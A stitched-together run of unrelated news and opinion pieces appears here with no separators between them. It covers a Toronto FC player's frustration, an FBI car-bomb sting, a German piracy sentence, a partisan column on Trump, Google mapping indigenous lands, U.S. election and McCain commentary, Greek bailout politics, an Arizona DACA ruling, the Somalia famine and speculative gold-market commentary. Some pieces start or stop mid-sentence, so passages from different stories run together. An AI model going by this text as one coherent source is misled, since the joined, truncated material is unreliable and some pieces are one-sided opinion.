So no surprise, then, that De Rosario, who still ranks as Toronto FC’s all-time leading scorer stemming from his first tenure with the club, is frustrated with his lack of playing time.
How frustrated?
“Extremely. I’ll leave it at that,” De Rosario told Sportsnet in a one-on-one chat.
De Rosario has given some thought about his future, specifically about whether or not he’ll be in Toronto next season. For the time being, though, he remains committed to the club.
“I’m always thinking about what I’m going to do beyond this year but I still enjoy playing and I’m still passionate about it. Obviously, it makes it difficult with the situation I’m currently in. As a player I really want to do well for this city, and want to bring this city, my city, some success. But when your hands are tied it’s tough,” De Rosario said.
It’s clear from talking to De Rosario that his passion for soccer still burns brightly. It’s also clear that whether he’s in Toronto or somewhere else, he plans to keep on playing in 2015. If the Canadian international is thinking about retirement, he’s certainly not talking like someone who’s considering walking away from the game.
“If they want to force me into retirement, if they think I’m going to hang up my boots because I’m not playing, they got another thing coming. … The moment I wake up in the morning and feel like it’s a burden to come out and train and I’m not enjoying it, I won’t play,” De Rosario stated.
“Right now I enjoy playing, in spite of everything, and I still feel like I got a lot to offer.”
Even though he’s not being used by Nelsen, De Rosario firmly remains in the plans of Canadian national team coach Benito Floro. Canada’s all-time top scorer with 20 goals, De Rosario is expected to be named later this week to Floro’s roster for a friendly against Jamaica on Sept. 9 in Toronto.
Neither age nor a lack of playing time with TFC this season has lessened Floro’s evaluation of De Rosario, who is the sixth all-time leading scorer in MLS history with 103 goals—he’s one of only eight players to break the 100-goal plateau.
“De Rosario is a special player because he is a very good player with a lot of experience,” Floro stated. “His spirit is very good and tactically he is very intelligent and physically he is not bad. It is true; that he is not starting [with Toronto] is a little bit of a problem. But I think De Rosario can still help us until he decides that he doesn’t want to play anymore.”
Floro has a great deal of respect for De Rosario, and the feeling is mutual.
“What I like about Benito is he’s straight with you. He’s personable and tells us if we have any problems, no matter what they are, that we can come talk to him and that we can find a solution. Obviously we’re not going to agree on everything but at least you have that environment where there’s room for discussions. He treats me like a man and I respect that,” De Rosario said.
With 77 caps to his credit, De Rosario needs eight more to surpass Paul Stalteri as Canada’s all-time appearance leader. It’s not records that drive him on, though, but instead a simple desire to represent his country.
“I’m always going to be a part of the national team. When I get the call, I always feel like it’s the first time with that excitement and I can’t wait for that experience to represent Canada again,” De Rosario offered.
“Next year is a year that I’m really looking forward to because Canada is in the Gold Cup and it’s a big one because if we make the semifinal we go into the Copa America. It’s huge.”
A final-four showing at the CONCACAF Gold Cup is a pretty ambitious goal for a Canadian side currently No. 122 in the FIFA world rankings — sandwiched between the Central African Republic and Guinea-Bissau, to say nothing of the fact that the Reds are riding a 16-game winless run.
Canada hasn’t tasted victory since a 3-0 decision over Cuba in a World Cup qualifier on Oct. 12, 2012 when coach Stephen Hart was still in charge. In 2013, the Canadian team scored just one goal in 13 games (with 10 losses) and drew its only two games this year back in May.
These are very hard times for Floro, as he tries to rebuild a national team program still haunted by that horrific 8-1 loss to Honduras that ended Canada’s dreams of qualifying for the 2014 World Cup in Brazil.
De Rosario insists Canada has to first develop a winning attitude if it’s going to earn results on the pitch.
“Our mentality has to change. Our mentality has to be that we’re going to win in every game. I don’t care if we’re playing in Mexico, I don’t care if we’re playing in Honduras or Costa Rica or the U.S.—we have to go into each game thinking we’re going to win and do it by any means necessary because those teams have that mentality. I think we’re too complacent and [being happy in] just participating, ”De Rosario explained.
He later added: “I’m sick and tired of having that notion hanging over our heads that we’re a Third World nation when it comes to soccer. As of right now we are, but we have to get over that and starting turning this into a First World soccer country. There’s no reason why we can’t. We have the resources to do it, and with Benito in place he wants to lead the charge.”SAN FRANCISCO (AP) — The FBI arrested a San Jose man as he went through the motions of detonating what he believed to be a car bomb in front of a Northern California bank, federal authorities said Friday.
FBI agents arrested Matthew Aaron Llaneza, 28, Thursday night near a Bank of America branch in Oakland as part of a sting operation.
Llaneza had minutes earlier parked an SUV in front of the bank believing the vehicle contained an explosive rigged to detonate from a cellphone command, authorities said. Llaneza was arrested as he stood nearby and tried to detonate the device with a cellphone.
The FBI says Llaneza expressed support for the Taliban and had hoped the bombing would be blamed on anti-government activists and would somehow spark a civil war after a severe government crackdown. The FBI said Llaneza expressed a desire to travel to Afghanistan to train Taliban fighters.
He is a convert to the Islam religion who was once involuntary placed in a psychiatric unit by police, officials said. He told police he is a high school graduate who last worked as a window washer in 2010, according to Santa Clara County court records. His father told police that Llaneza had been "kicked out" of the U.S. Marine Corps but he didn't know the reason.
The FBI says that on Nov. 30, Llaneza first met with an undercover agent he believed to be connected to the Taliban and the mujahidin in Afghanistan. That's when he allegedly laid
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brought action against the site. In response to the news of the sentence, the GVU released a statement yesterday, warning that the still-anonymous Jens may attempt to flee rather than face the court. “With regard to flight risk due to the heavy sentence, Jens R’s residence abroad, and continuing proceedings against him in the District Court of Aachen for bankruptcy fraud and embezzlement,” the statement explained, “the court immediately issued an arrest warrant for Jens R.”
Matthias Leonardy, the leader of the GVU, said that “this criminal operator has been convicted of intentionally exploiting the attractiveness of infringing media services on the Internet to generate profits,” something that he went on to describe as a “businesslike form of cyber crime.”
Leonardy likened the case to that of Dirk B., the equally pseudonymous founder of Kino.to, a site that was once Germany’s largest illegal file-sharing site. “We know also that the defendant [Jens R.] knew Kino.to leaders,” he said, adding that the successful prosecution of Dirk B. could be looked at as a blueprint of the prosecution of Jens R.
Last year, Dirk B. was given a four and a half year prison sentence for his involvement with the site. He was also forced to surrender up to $5 million USD of profit from the site, with his sentence and fine described as “reduced” as the result of a full confession and the expression of “extreme regret” for the damage caused by the site. Somewhere, Jens R has to be considering his few options…Most progressives and liberals have long suspected Donald Trump is a fraud. Thanks to an investigative reporter who has been dogging the Trumpster for over a quarter of a century, there is documentation of his numerous fraudulent acts and behaviors. In addition, there are a number of questions that the media should be asking that would doubtless prove that Donald Trump without a question is a total fraud.
David Cay Johnston is an author, lecturer, and investigative reporter who has been awarded the Pulitzer Prize for Beat Reporting who has presided over the board of the non-profit organization Investigative Reporters and Editors, Inc. His areas of expertise include tax law, accounting, economics, business and finance. He is also an outspoken Progressive whose thoughts and ideas echo those of Bernie Sanders. Since 1988, Johnston has been watching Trump closely. Recently, he came up with a list of questions that would reveal much about the GOP’s “Golden Boy” – assuming Trump would provide frank and forthcoming answers, as he claims to do.
For example, how many of our readers knew that Trump was successfully sued by the Attorney General of New York for running an “illegal educational institution”? Students at “Trump University” paid a whopping $35,000 for “Elite” mentorships – but never even saw their mentor. And here’s a juicy little fact that fans of The Godfather and The Sopranos should appreciate: the contracting firm that constructed Trump Tower was owned by a pair of gentlemen who went by the monikers of “Fat Tony” Salerno and “Big Paul” Castellano.
When it comes to charity, Trump doesn’t even donate to his own foundation. Instead, he donates other people’s money – specifically, those who do business with him.
Can you say, “kickbacks”?
It only gets better: Trump was found guilty in federal court of cheating immigrant workers hired to demolish a multi-story building. He paid them less than $5 per hour under the table. He didn’t even furnish them with hard hats. Oh, and all that talk from Trump about how he’s a “self-made billionaire”? It turns out that he had a bit of help from the taxpayers of New York. The mayor of NYC at the time, Abe Beame, happened to be good buddies with Donny-boy’s Daddy, Fred Trump. That little connection got Donald a tax abatement on a mid-town Manhattan property (right next door to Grand Central Station) in 1976. That was the old Commodore Hotel, which today is the Grand Hyatt New York. As of 2016, that little deal that his daddy made for him will have cost taxpayers $400 million.
So much for being a “self-made” billionaire.
Incidentally, Donald – how do you explain the fact that you paid zero income tax in 1978 and 1979, when you were busy remodeling that fancy Manhattan hotel? In fact, how do you explain not being able to pay your bills back in 1990, despite being a billionaire? And maybe you’d like to clarify to voters how you managed to run not one, but four companies into the ground? You want to run the country like you run business?
Heavens help us if that scenario ever came to pass.
At age 66, David Cay Johnston has not lost his edge when it comes to asking the hard questions. You can read all 21 of them, along with more details, right here. However, don’t expect the mainstream corporate media to be putting them to the Trumpster anytime soon.
Chances are, he’d just side-step them or refuse to answer anyway.
Watch The Young Turks address how Trump’s money was made by his father, and how Trump actually invested it poorly. Also watch Thom Hartmann address the issue of Trump and the mob.
Addition to Original Piece:
Andrew Reinbach, a journalist who published an article in the Huffington Post on this topic in April 2011, sent Ring of Fire an email adding the following information to this piece:Google is adding a significant number of Canadian indigenous reserves and land settlements to its popular mapping services, a move that will help communities during discussions with government and businesses while also making them discoverable through a quick search.
Starting Wednesday, on National Aboriginal Day, more than 3,000 Canadian indigenous lands are being added to Google Maps and Google Earth following seven years of collaboration between indigenous communities, mapping experts and Google Canada. The new content is available for anyone to access globally.
“We’ve focused on supporting indigenous communities that want to map and monitor their land — to create their own maps about history, culture, tradition, land and natural resources,” said San Francisco-based Raleigh Seamster, a project manager at Google who also helped lead similar efforts in the U.S. and Brazil.
“Because a lot of these indigenous communities in Canada are using Google Maps and Earth to build their own maps, it has become very apparent and important to us that their lands are accurately represented on our base map. That’s why we wanted to do this project, which is really just taking a first step to put indigenous lands on Google Maps based on available data.”
Google Canada has already been holding annual workshops for indigenous communities across the country since 2014, training them how to digitally map the details of their land and share internally. Now the tech giant is combining data from the communities and Natural Resources Canada to make the information as accurate as possible and available to everyone.
“One of the first things most people do when they look at a map is they want to know where their home is. So before they’d say, ‘I know my home is here somewhere, but it doesn’t show up,’” said Steven DeRoy, a professional cartographer who has helped Google on the project plus is Anishinabe/Saulteaux and a member of the Ebb and Flow First Nation from Manitoba.
“This project has been a real asset to communities because now when people look for their home on Google Maps they’ll actually see it, from an indigenous perspective.”
DeRoy has been doing his own mapping workshops for indigenous communities since 2003 as a way to create a group of indigenous mappers that learn how to use the tools and see how other communities are applying them.
“Mapping is very important to communities, to be able to demarcate their territories and identify the lands that are important to them,” he said. “It’s used in negotiations with government, resource companies and others.”
Conventional mapping exercises — where people mapped out where they do things such as hunt, fish or perform ceremonies — used to take place on paper place maps, DeRoy said. “But when Google came out with Google Earth, that really changed the field for us.”
Now DeRoy uses a direct-to-digital exercise that projects Google Earth on the wall during a community workshop where people use a laser pointer to show what should be added. Instead of mapping on paper, the information is captured digitally and cuts down on the time it takes to get out to the community or public.
“It really transformed how we carry out research with indigenous communities by being able to reduce the amount of post-processing effort, increase the amount of spatial literacy and increase the amount of accuracy in which these maps and data are collected in,” he said. “You can also get really close into the ground to see details such as trees, lakes or shorelines and actually pinpoint with great accuracy the location of all these places.”
Google said it will continue to work with partners to add more data in Google Maps and Earth in the months to come. Individuals and communities can also recommend changes or additions through the Maps’ Send Feedback feature or Google’s Base Map Partner Program.
“The powerful thing about Google’s mapping tools is that they are so easy to use. Even if community members don’t have professional degrees in mapping, they can come to short workshops and start learning,” she said.
“It opens it up for a lot more members of the communities to be involved in the process, which I think is really exciting. It’s sort of democratizing map making.”
Financial Post
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Twitter.com/JoshMcConnellBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 9, 2016, 12:30 PM GMT / Updated Sep. 9, 2016, 8:42 PM GMT By Chuck Todd, Mark Murray and Carrie Dann
First Read is a morning briefing from Meet the Press and the NBC Political Unit on the day's most important political stories and why they matter.
Putin has become the ultimate test of GOP loyalty to Trump
A day after Donald Trump’s praise of Vladimir Putin at the NBC/MSNBC Commander-in-Chief Forum, the Trump campaign doubled down on Putin. “I think it’s inarguable that Vladimir Putin has been a stronger leader in his country than Barack Obama has been in this country,” running mate Mike Pence told CNN on Thursday, per NBC’s Vaughn Hillyard. But compare that with what House Speaker Paul Ryan said when asked about Trump’s comments on Putin from Wednesday night. “Vladimir Putin is an aggressor that does not share our interests. Vladimir Putin is violating the sovereignty of neighboring countries. It's certainly appears he is conducting in-state sponsored attacks on what appears to be our political system,” Ryan said. “That is not acting in our interests and that is an adversarial stance and he is acting like an adversary.” So maybe more than any issue right now, Putin has become the ultimate test of GOP loyalty to Trump. Do you agree or disagree with Trump on Putin? That question will separate the ardent Trump supporters from the Republicans who aren’t.
The curious case of the Trump campaign doubling down on Putin
One more point here: What’s amazing about the Trump campaign’s embrace of Putin, even from Pence, is that Putin is one of the more reviled figures among American voters. Here are the fav/unfav ratings from our May 2016 NBC/WSJ poll:
Barack Obama: 49% positive, 41% negative (+8)
Bernie Sanders: 43% positive, 36% negative (+7)
Paul Ryan: 29% positive, 29% negative (even)
Democratic Party: 38% positive, 41% negative (-3)
Hillary Clinton: 34% positive, 54% negative (-20)
Republican Party: 24% positive, 49% negative (-25)
Donald Trump: 29% positive, 58% negative (-29)
Vladimir Putin: 8% positive, 59% negative (-51)
A timeline of Trump’s statements on the Iraq war
Campaigning yesterday at an education event in Cleveland, Trump repeated his false claim that he opposed the Iraq war from the outset. “I opposed going in, and I did oppose it, despite the media saying, “No, yes, no” I opposed going in. But here is a timeline of Trump’s statements on Iraq -- combined with when a little-known Barack Obama said he opposed the war:
Sept. 2002: Are you for invading Iraq? “Yeah, I guess so,” Trump responded to Howard Stern, as Buzzfeed first reported. “I wish the first time it was done correctly.”
Oct. 2002: “I don’t oppose all wars,” Barack Obama said at an anti-war rally in Chicago. “What I am opposed to is a dumb war.”
Jan. 2003: Trump: "Well, [George W. Bush] has either got to do something or not do something, perhaps, because perhaps shouldn't be doing it yet and perhaps we should be waiting for the United Nations, you know," Trump said. "He's under a lot of pressure. I think he's doing a very good job. But, of course, if you look at the polls, a lot of people are getting a little tired. I think the Iraqi situation is a problem. And I think the economy is a much bigger problem as far as the president is concerned." (Interview with Fox's Neil Cavuto, per PolitiFact)
March 2003: Iraq war begins.
August 2004: Trump: “Look at the war in Iraq and the mess that we're in. I would never have handled it that way. Does anybody really believe that Iraq is going to be a wonderful democracy where people are going to run down to the voting box and gently put in their ballot and the winner is happily going to step up to lead the county? C'mon. (Interview with Esquire magazine)
To wrap up all of these statements, Trump said -- in Jan. 2003, two months before the war started -- that George W. Bush should focus more on the economy than Iraq, but didn’t out and out oppose the war. Only in August 2004 -- a year and a half after the Iraq war began and in the middle of a presidential contest almost all about the war -- did Trump call it a “mess.”
The Washington Post’s editorial board says “enough” on Clinton’s emails
There is no doubt that the email story involving Hillary Clinton — which began back in early 2015 -- has damaged her. But the Clinton campaign is getting some good news from a Washington Post editorial saying it’s time to stop fixating on the emails, especially after the FBI said there wasn’t evidence of criminal wrongdoing. “Ms. Clinton is hardly blameless. She treated the public’s interest in sound record-keeping cavalierly,” the Post writes. “A small amount of classified material also moved across her private server. But it was not obviously marked as such, and there is still no evidence that national security was harmed. Ms. Clinton has also admitted that using the personal server was a mistake. The story has vastly exceeded the boundaries of the facts.” Meanwhile, the Times has this story: “A computer specialist who deleted Hillary Clinton’s emails despite orders from Congress to preserve them was given immunity by the Justice Department during its investigation into her personal email account, according to a law enforcement official and others briefed on the investigation.”
On the trail
This morning, Hillary Clinton holds a meeting with national-security experts in New York City… Donald Trump has a rally in Pensacola, FL at 8:00 pm ET… Tim Kaine stumps in Norfolk, VA… Bill Clinton campaigns in Pittsburgh, while Elizabeth Warren hits Philadelphia.
Countdown to first presidential debate: 17 days
Countdown to VP debate: 25 days
Countdown to second presidential debate: 30 days
Countdown to third presidential debate: 40 days
Countdown to Election Day: 60 daysJohn Mosley Actor Michael Kelly Status Deceased Profession Unknown Appearances The Arrival"
John Mosley is a man trying to locate the Beacon, and willing to do anything to get it. Prior to this, he was wanted for a double homicide in Seattle, WA. Mosley shows up in the home of Colonel Henry Jacobson, with the intent to track down the Beacon. Equipped with an energy gun and a device with which he apparently is able to read Jacobson's mind, he eventually learns the location of the Beacon; Dr. Walter Bishop's lab.
Arriving at the lab Mosley abducts Walter's son Peter Bishop, and by hooking him up to the same device that read Jacobson's thoughts he is able to find out where Walter had hidden the Beacon - the grave of Walter's father, Robert Bishop - even though Peter himself is unaware of this.
Arriving at the cemetery, Mosley has Peter dig up the grave, and is finally able to get his hands on the Beacon. Before he is able to do anything more, Agent Olivia Dunham arrives - Mosley attempts to escape but is shot dead by Dunham. ("The Arrival")
Trivia EditPope Francis celebrates mass in St Peter's Basilica (AFP)
Protesting relatives of victims of South Korea’s ferry disaster vowed Tuesday to “fight back” if any attempt is made to clear them from a ceremonial plaza in Seoul where Pope Francis will hold a mass next week.
A number of family members and their supporters have been camped out for three weeks in Gwanghwamun Square, on which up to one million Korean Catholics are expected to converge on August 16 for a huge, open-air mass by the visiting pope.
“We will never remove our tents here until our demands are met,” Park Yong-Woo, a family member and spokesman for the protesters, told reporters.
If the police try to expel them, the protesters will “resist and fight back,” Park said, while adding that discussions were being held with the Catholic Church about their presence in the plaza.
The situation is an extremely sensitive one for the South Korean authorities.
The first visit by a pope for 25 years is a major event, but the government will be extremely wary of public sensibilities in handling the ferry disaster families.
The relatives and their supporters are demanding that parliament pass legislation allowing a full, independent inquiry into the April 16 tragedy that claimed around 300 lives.
The bill is currently stuck in the National Assembly, with ruling and opposition parties deadlocked over what legal powers any inquiry should be given.
Park said the protesters had sent a letter to Pope Francis, urging his understanding.
“Holy Father, please cry with us here together… Please pray for us and protect us from being swept off the square in the name of preparing your mass,” the letter read.
Around 30,000 police are expected to be deployed for the August 16 event, which is the religious centrepiece of Francis’ four-day visit.
The 6,825-tonne Sewol ferry sank off the country’s southwest coast with 476 people on board.
Of the total passengers, 325 were teenaged students from the same Danwon High School in Ansan. Only 75 of the students escaped alive.
Fifteen Sewol crew members are currently on trial, including the captain and three senior officers who are accused of “homicide through wilful negligence” — a charge that can carry the death penalty.
The bulk of the charges arise from the fact that they chose to abandon the ferry while hundreds of people were still trapped inside.
President Park Geun-Hye and her administration have been bitterly criticised for their response to the disaster, which stunned the entire country.McCain the Divider
Editor’s Note: This column has been updated following McCain’s speech Thursday night.
ST. PAUL, Minn. — Once upon a time, John McCain promised to be a different kind of politician and a different kind of Republican. He was about straight talk, reform and nonpartisanship, a resolute foe of the slashing politics of the slaughterhouse.
McCain tried to get voters to remember that man in his acceptance speech Thursday night, the one who “worked with members of both parties to fix the problems that need to be fixed.” But that man has disappeared.
The stage in the middle of the cavernous Xcel Energy Center was rearranged so McCain could conjure the feel of the town hall meetings he loves as he laced into “partisan rancor” and “the Washington crowd.” Yet a set change could not disguise the fact that this convention — including the big speech Wednesday by his running mate, Sarah Palin — dripped with divisive ridicule as speaker after speaker worked to aggravate the country’s cultural schisms and replay worn-out harangues against weak liberals.
The Republican crowd here has gleefully played into the worst stereotypes of their party as a privileged class resistant to change.
When Rudy Giuliani referred to Barack Obama’s past as a “community organizer” Wednesday, the crowd broke into ugly, patronizing laughter. These, presumably, are people who never needed a neighborhood advocate. Imagine if Democrats ever reacted that way to someone who worked as an entrepreneur or a church leader.
And it’s unlikely that even a convention of the American Petroleum Institute would erupt into raucous chants of “drill, baby, drill!”
McCain could not change his party, so he changed himself. McCain has pandered to a Republican right wing he once disdained on issue after issue, from oil drilling to immigration to tax cuts for the wealthy.
Just as important, he decided that his last chance for the presidency rests on a systematic effort to make the old politics of demonization work one more time. If McCain’s convention is a prelude to the fall campaign, he will leave behind a legacy of bitterness that will turn his promise of a new day into ashes.
His single most cynical act was choosing Palin as his running mate, “cynical” being the word used by former adviser and friend Mike Murphy, the Republican consultant caught by an open microphone.
McCain knows that the first requirement in a running mate is preparation to succeed to the presidency. The choices he preferred, by all accounts, included Joe Lieberman and Tom Ridge, both plausible presidents.
But when it became clear that their support for abortion rights rendered both men politically toxic, McCain veered toward the last-minute pick of Palin. McCain barely knew her, and his campaign misled reporters about the extent to which she had been vetted. It was a political choice: Palin, McCain hopes, will help him win over women and rally social conservatives.
Palin’s address here got boffo reviews from many of the very “reporters and commentators” whose good opinion the Alaska governor dismissed, but her speech was as cynical as the decision to put her on the ticket.
She joined in the campaign’s fake populism by deriding legitimate concerns about her record, her knowledge and her governing style as the carping of the “political establishment” and the “Washington elite.” She ran as the tribune of “small-town” Americans by way of suggesting that worries about her readiness to be president amounted to an assault on all who hail from localities of modest size. She dared to compare herself to Harry Truman.
She then proceeded to distort Obama’s views on taxes, mock his eloquence and accuse him of wanting “to reduce the strength of America in a dangerous world.” And she demonstrated how little she respects constitutional rights with this chilling declaration: “Al-Qaeda terrorists still plot to inflict catastrophic harm on America; he’s worried that someone won’t read them their rights.”
But these thoughts, of course, were not really Palin’s. They were words prepared by the campaign of John McCain, the unifier turned divider.
One night later, the unifier tried to come back, promising to reach out “to any willing patriot,” criticizing his own party, urging that we use “the best ideas from both sides” and pledging to “ask Democrats and independents to serve with me.”
It will be a hard sell because McCain has capitulated to the very Washington he condemned Thursday night and is employing the very tactics that were used ruthlessly and unfairly against him when he first ran for president eight years ago.
Perhaps the new McCain will somehow claw his way to the White House. But it’s the old McCain who deserved to be president. A single speech on a September night is not enough to resurrect the man who might once have brought the country together.
E.J. Dionne’s e-mail address is postchat(at)aol.com.Following a week of negotiations which led to the eurozone extending Greece's bailout program for four months, Greece's anti-austerity Prime Minister Alexis Tsipras addressed his Syriza party on Saturday.
"The battle will continue," he told the party's central committee, according to news agency AFP, adding, "Anybody thinking that we are going to go away will be disappointed."
Tsipras, whose party was voted into government in January on a platform of ending the tough austerity measures imposed by Greece's international creditors, also accused Spain and Portugal of taking a hard line in the extension negotiations, saying the governments in Madrid and Lisbon feared for their own survival ahead of elections this year.
"We found opposing us an axis of powers," Tsipras said adding, "Their plan was and is to wear down, topple or bring our government to unconditional surrender before our work begins to bear fruit and before the Greek example affects other countries," he said according to news agency Reuters, alluding to upcoming elections in Spain where the new Podemos movement has topped some opinion polls.
However, in comments published in the Expresso weekly newspaper before Tsipras' speech, Portuguese Prime Minister Pedro Passos Coelho denied that.
'Unacceptable concessions'
Greece's current 240-billion-euro ($270 billion) bailout program had been due to expire on Saturday, but a four-month extension was approved by the Eurogroup of euro zone finance ministers on Tuesday, after the Greek government presented a six-page list outlining its plans for reforms.
Tsipras' government faces the challenge of providing relief for struggling citizens who voted his party in, while also keeping government spending in check. The prime minister portrayed the deal with the Eurogroup as a victory for Greece despite protests in Athens, citing rumblings of dissent from some German parliamentarians even as the Bundestag voted overwhelmingly in favor of agreeing to the four-month extension.
"We have all watched the strong opposition within Angela Merkel's party, which shows that unacceptable concessions have been made to Greece," he said.
Tax avoiders targeted
In an interview broadcast on private Greek television broadcaster Skai on Saturday, Greek Finance Minister Yanis Varoufakis had tough words for tax avoiders in the struggling and debt-ridden eurozone country.
"What interests us is those who have money but who have never paid (tax). They are our target and we will show no pity," Varoufakis said.
Those measures could include a one-off tax on the rich.
"We have committed to balancing our budget. If I have to levy an extraordinary tax then I will do it, but it will only be for those who can pay... We are not going to take money off people who are suffering," he said.
se/gsw (Reuters, AFP, dpa)PHOENIX (AP) - The Arizona Court of Appeals ruled Tuesday that young immigrants granted deferred deportation status under a program started by former President Barack Obama are not eligible for lower in-state college tuition.
The ruling by a three-judge panel overturns a 2015 decision by a trial court judge that said deferred action recipients were considered legally present in the U.S. under federal immigration laws and therefore qualified for state benefits.
Instead, presiding Judge Kenton Jones wrote for the court that the 2012 Deferred Action for Childhood Arrivals program known as DACA did not confer that status.
The court's decision takes Arizona in the opposite direction amid a push around the country - including Republican-dominant states like Oklahoma, Tennessee and Nebraska - to grant in-state tuition to immigrants in the country illegally. Tennessee recently became the 21st state to do so, earning bipartisan support from lawmakers who said it did not make sense to punish students brought to the U.S. illegally by their parents.
Jones said federal immigration law contains some groups such as legal permanent residents, refugees or people granted special status because of a spousal battery that are considered "lawfully present," but that DACA students are not among those groups. DACA recipients are granted work permits and temporary deferred deportations, but immigration law allows each state to decide on optional benefits for DACA recipients.
"Accordingly, we conclude that DACA recipients are not automatically eligible for in-state tuition benefits, but rather must look to Arizona's statutory provisions regarding alien eligibility for in-state tuition benefits," Jones wrote.
That leaves a 2006 voter-enacted law known as Proposition 300 in control. That law prohibits public benefits for anyone living in Arizona without legal immigration status.
There are nearly 28,000 DACA recipients in Arizona, and Tuesday's decision affects at least several hundred current state university students and an unknown number attending community colleges.
Maricopa Community Colleges, the largest district in the state with numerous campuses in metro Phoenix, said enrollment dropped by more than 10,000 students when the district implemented state rules on legal status required by Proposition 300.
A current community college student taking a full-time course load would see tuition go from $2,580 a year to $8,900 a year. University students pay about $12,000 a year in tuition if they are legal Arizona residents but up to $34,000 a year if they are not, depending on which of the three universities they attend.
Arizona Attorney General Mark Brnovich, who appealed the 2015 ruling, said he was sympathetic to the students but his job is to enforce the law as it is written. He said a large majority of Arizona voters approved Proposition 300 and that his job is to enforce it.
"If people don't like the law or the policies, what you do is you change the law or you change the policymakers," Brnovich said. "You don't get to pick and choose which laws you want to enforce or not."
As a candidate, President Donald Trump vowed to end a program that he called "illegal executive amnesty" but has since taken a softer stance on DACA while providing mixed signals on its future.Dominic Nahr / Magnum for TIME Makeshift home A mother and her child, along with other refugees, take shelter in an old Italian cathedral in Mogadishu
By late June and early July, when their goats were all gone and the last of their cows had sunk to their knees and died, the men told their families it was time to leave. In Daynunay, Haji Hassan and his children packed up what they had a few rags, plastic bottles, some old cooking pots and set out for Mogadishu, 250 km to the east. At every village they passed, their small group grew, first to a column of hundreds, then thousands, then tens of thousands, as millions across southern Somalia abandoned their homes. With little water and only leaves to eat, the young and the old quickly perished: one of Hassan's grandsons was buried where he dropped. Bagey Ali, 50, who walked 300 km from Qansax Dheere, says he saw seven people "just sit down and die." When his children would start fading on the 500-km trek from Baoli, Bishar Abdi Shaith, 60, carried them on his shoulders. "When I realized they were dead, I would lift them off and bury them there, on the way." He lost two boys and three girls that way.
A mass exodus, an emptying of half a country, is an unprecedented, biblical event. What triggered it? The immediate cause was drought. Rains failed last October in East Africa, then again in April, and by early August the U.N. was putting the number of people at risk from hunger in Djibouti, Ethiopia, Eritrea, Kenya, Somalia and Uganda at 12.4 million. (Read about the U.N. calling Somalia's drought a famine.)
Southern Somalia was in famine. A full 2.8 million people, 63% of the region's population, were either starving or at risk of it. The number of Somali children with severe acute malnutrition near death was 170,000; 29,000 had already died. Even those cataclysmic figures were probably underestimates. Iffthikar Mohamed, country director for Islamic Relief (which has staff inside the famine area, unlike the U.N.), said his teams found mortality and malnutrition rates at least twice as high. Senior relief managers tell TIME there is no chance of preventing 100,000 Somalis, perhaps more, from dying in the next few weeks.
How did this happen? Could it have been stopped? And how is it that millions of Somalis were so sure that no help was coming that they took their families on a death march across the desert? The answers reveal how a war between Islamic militants and the U.S. and its allies led directly to human catastrophe. (See how the world decides when to call it a famine.)
When I ask Bagey Ali when the last rain fell in Qansax Dheere, he laughs at the idea, then struggles to remember. "Two years," he says. "Maybe four." Southern Somalia is part of the Sahel, the band of dry land that runs across Africa below the Sahara. Half a century ago, rainfall was sparse, but droughts occurred only once a decade. Today they come every two years, and in areas where El Niño and La Niña disrupt the seasons, there haven't been good rains for 10 years. This is climate change now severe and lethal. The U.N. Food and Agriculture Organization says this year's drought is the worst since 1950-51, and the compound effect of successive rain failures means an area the size of France has become desert in 50 years.
But drought just sets the conditions for famine; only man ensures it. The southern U.S. is in drought, but Americans aren't starving. Why? Because Americans have enough government and wealth. Likewise, one reason we are not seeing a repeat of the 1984 Ethiopian famine, in which a million people died, is that much of East Africa has progressed since then. Also, aid workers are now better at saving lives. An early-warning system first predicted East African food shortages 11 months ago, food aid has become more sophisticated and includes medicines and high-protein nut pastes, and improved disaster mitigation is matched by better prevention. Schemes like the U.S.'s $3.5 billion three-year program Feed the Future push ever more money into projects such as irrigation and food warehouses that raise people's ability to feed themselves. "It's really important we understand the progress even in the face of this tragedy," says Nancy Lindborg, who is leading USAID's famine response. (See Somalia's struggle to feed 4 million people.)
Such progress only throws the disaster in Somalia into sharper relief, however. Because if it is humans who produce or prevent famine, who made Somalia's?
The big difference between Somalia and the rest of East Africa is war. Somalis have been fighting one another and have lived without a central government for 20 years. Perhaps a million people have died. One symptom of this lawlessness is piracy. Another is the rise of Islamists. What began as a fight between clan warlords became, in its second decade, a struggle between warlords and militants demanding the imposition of strict Shari'a. The more extreme Islamists then formed al-Shabab, or "the Youth." For four years, al-Shabab has battled the official Transitional Federal Government (TFG).
See video: "How a Drought Became a Famine in Somalia."So what’s next for gold? The weekend is over, and the week is about to begin — and that means gold, equities and debt trading in Asia will shortly be under way. Gold has been in a meteoric move upwards, spurred to even greater heights by Hugo Chavez’s announcement that Venezuela would repatriate its gold holdings from foreign banks — specifically those in London and New York.
From Things That Make You Go Hmmm (an absolute must-read):
Chavez’s move this week could set in motion a chain of events whereby Central banks who store the bulk of their gold overseas in ‘safe’ locations scramble to repossess their country’s true ‘wealth’. If that happens,the most high-stakes game of musical chairs the world hasever seen will have begun.One would imagine that a country’s gold would be storedonshore in their own vaults rather than be entrusted to a foreign power – after all, if tensions were to rise between the two sovereigns, amongst the first casualties would be said gold.
In trading since Chavez’s announcement, gold has shot up further. Of course there are other reasons for gold to rise — fiat debasement, sovereign debt concerns, equity weakness, concerns with overall trading conditions. But — ever since Gordon Brown offloaded Britain’s gold reserves for less than $300 an ounce at the millennium — coinciding with the peak of the fiat bubble — gold has shot up in value over 500%, and finally central banks are shifting holdings back into gold — especially the central banks of developing nations like China, Brazil and Russia, whose gold holdings have shot up 900%:
But the real problem may be that the vast growth in paper gold trading has been built on the backs of a very, very small physical base. Will the paper house of cards come tumbling down if part of the physical base is removed and sent to Venezuela? From Zero Hedge:
What could well be a gamechanger is that according to an update from Bloomberg, Venezuela has gold with, you guessed it, JP Morgan, Barclays, and Bank Of Nova Scotia. As most know, JPM is one of the 5 vault banks. The fun begins if Chavez demands physical delivery of more than 10.6 tons of physical because as today’s CME update of metal depository statistics, JPM only has 338,303 ounces of registered gold in storage. Or roughly 10.6 tons. A modest deposit of this size would cause some serious white hair at JPM as the bank scrambles to find the replacement gold, which has already been pledged about 100 times across the various paper markets.Keep an eye on gold in the illiquid after hour market. The overdue scramble for delivery may be about to begin.
The real question is whether any such scramble would cause more panics, more scrambles — to get out of cash, treasuries and equities and into gold and silver bullion — causing a deeper and harsher crash. Current data suggests that this is unlikely — but the deep worries over sovereign liquidity, fiat debasement, and food and fuel scarcity suggest that a panicked scramble out of cash is not entirely out of the question. Here’s a fantasy re-enactment of one not-entirely-improbable scenario:
